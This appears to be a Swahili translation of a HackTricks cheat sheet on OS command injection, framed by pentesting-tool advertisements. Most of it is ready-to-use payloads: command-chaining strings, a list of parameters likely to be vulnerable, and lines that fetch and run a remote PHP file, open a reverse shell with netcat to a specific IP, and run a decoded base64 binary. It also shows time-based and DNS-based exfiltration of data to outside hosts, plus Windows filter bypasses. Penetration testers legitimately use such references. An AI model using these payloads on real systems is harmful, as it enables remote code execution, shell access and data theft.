Command Injection

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Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu

Pata na ripoti kuhusu udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

Penetration testing toolkit, ready to usePentest-Tools.com

Nini maana ya Command Injection?

A command injection inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kwa kawaida unaruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.

Muktadha

Kulingana na mahali ambapo ingizo lako linatolewa unaweza kuhitaji kukomesha muktadha ulioandikwa (ukitumia " au ') kabla ya amri.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Kikomo Bypasses

If you are trying to execute arbitrary commands inside a linux machine you will be interested to read about this Bypasses:

Bypass Linux Restrictions

Mifano

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parameters

Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza msimbo na udhaifu wa RCE unaofanana (kutoka link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Kuchota data: herufi kwa herufi

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Kulingana na chombo kutoka https://github.com/HoLyVieR/dnsbin pia kinachohifadhiwa kwenye dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

• dnsbin.zhack.ca

• pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Orodha ya Kugundua Brute-Force

Auto_Wordlists/command_injection.txt at main · carlospolop/Auto_WordlistsGitHub

Marejeleo

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

• https://portswigger.net/web-security/os-command-injection

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• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

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Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu

Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara. Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.

Penetration testing toolkit, ready to usePentest-Tools.com